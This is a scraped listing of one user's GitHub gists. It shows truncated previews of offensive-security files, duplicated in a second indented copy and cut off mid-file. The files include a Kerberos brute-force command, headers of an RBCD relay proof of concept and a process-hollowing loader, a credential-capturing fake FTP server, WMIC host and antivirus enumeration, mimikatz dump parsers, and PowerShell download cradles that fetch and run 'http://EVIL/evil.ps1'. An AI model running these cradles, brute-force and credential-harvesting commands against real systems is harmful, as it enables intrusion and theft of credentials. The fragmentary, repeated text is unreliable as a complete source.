stormfleet stormfleet

## obfuscar.xml
<?xml version='1.0'?>
<Obfuscator>
	<Var name="InPath" value=".\bin\x64\\Release" />
	<Var name="OutPath" value=".\Release_Obfuscated" />
	<Var name="HidePrivateApi" value="true" />
	<Var name="RenameProperties" value="true" />
	<Var name="RenameFields" value="true" />
	<Module file="$(InPath)\test.exe" />
</Obfuscator>

## kerberos_attacks_cheatsheet.md

      
              1 file
            
          
              373 forks
            
          
              5 comments
            
          
              1086 stars
            
          
                TarlogicSecurity
                / kerberos_attacks_cheatsheet.md
            
            
              Created
              May 14, 2019 13:33
            
              
                A cheatsheet with commands that can be used to perform kerberos attacks
              
          
    Kerberos cheatsheet

Bruteforcing

With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
With Rubeus version with brute module:

  
## rbcd_relay.py
#!/usr/bin/env python

# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
# this is a *very* rough PoC

import SimpleHTTPServer
import SocketServer
import base64
import random
import struct

## Hollowing.cs

/***************
 * Simple Process Hollowing in C#
 *
 * #Build Your Binaries
 * 		c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
 *
 *  @author: Michael Gorelik <smgorelik@gmail.com>
 *  gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
 * #Most of the code taken from here: @github: github.com/ambray

## fake_ftp.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Fake FTP Server
~~~~~~~~~~~~~~~

This is a simple fake FTP daemon.  It stores the login data (username and
password) given to it and then terminates the connection.

## wmic_cmds.txt
Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct

## One-liner Mimikatz Parser
Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

First, before using these parsers, run:  "dos2unix mimikatz_dump.txt"

Mimikatz 1.0:

cat mimikatz_dump.txt  | grep -P '((Utilisateur principal)|(msv1_0)|(kerberos)|(ssp)|(wdigest)|(tspkg))\s+:\s+.+' | grep -v 'n\.' | sed -e 's/^\s\+[^:]*:\s\+//' | sed -e 's/Utilisateur principal\s\+:\s\+\(.*\)$/\n\1/' | sort -u


Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):

## reclaimWindows10.ps1
###
###
### UPDATE: For Win 11, I recommend using this tool in place of this script:
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
###

## # Official Windows VM download URL archive.md

      
              4 files
            
          
              42 forks
            
          
              41 comments
            
          
              173 stars
            
          
                zmwangx
                / # Official Windows VM download URL archive.md
            
            
              Last active
              April 26, 2024 17:59
            
              
                Official Windows VM download URL archive, from https://dev.modern.ie/tools/vms/mac/ — scratch that — https://developer.microsoft.com/en-us/microsoft-edge/api/tools/vms/
              
          
    https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

  
## DownloadCradles.ps1
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object
	<?xml version='1.0'?>
	<Obfuscator>
	<Var name="InPath" value=".\bin\x64\\Release" />
	<Var name="OutPath" value=".\Release_Obfuscated" />
	<Var name="HidePrivateApi" value="true" />
	<Var name="RenameProperties" value="true" />
	<Var name="RenameFields" value="true" />
	<Module file="$(InPath)\test.exe" />
	</Obfuscator>
	#!/usr/bin/env python

	# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
	# this is a very rough PoC

	import SimpleHTTPServer
	import SocketServer
	import base64
	import random
	import struct

	/***************
	* Simple Process Hollowing in C#
	*
	* #Build Your Binaries
	* c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
	*
	* @author: Michael Gorelik <smgorelik@gmail.com>
	* gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
	* #Most of the code taken from here: @github: github.com/ambray
	#!/usr/bin/env python
	# -- coding: utf-8 --

	"""
	Fake FTP Server
	~~~~~~~~~~~~~~~

	This is a simple fake FTP daemon. It stores the login data (username and
	password) given to it and then terminates the connection.
	Host Enumeration:

	--- OS Specifics ---
	wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

	wmic computersystem LIST full

	--- Anti-Virus ---

	wmic /namespace:\\root\securitycenter2 path antivirusproduct
	Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

	First, before using these parsers, run: "dos2unix mimikatz_dump.txt"

	Mimikatz 1.0:

	cat mimikatz_dump.txt \| grep -P '((Utilisateur principal)\|(msv1_0)\|(kerberos)\|(ssp)\|(wdigest)\|(tspkg))\s+:\s+.+' \| grep -v 'n\.' \| sed -e 's/^\s\+[^:]:\s\+//' \| sed -e 's/Utilisateur principal\s\+:\s\+\(.\)$/\n\1/' \| sort -u


	Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):
	###
	###
	### UPDATE: For Win 11, I recommend using this tool in place of this script:
	### https://christitus.com/windows-tool/
	### https://github.com/ChrisTitusTech/winutil
	### https://www.youtube.com/watch?v=6UQZ5oQg8XA
	### iwr -useb https://christitus.com/win \| iex
	###
	###
	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object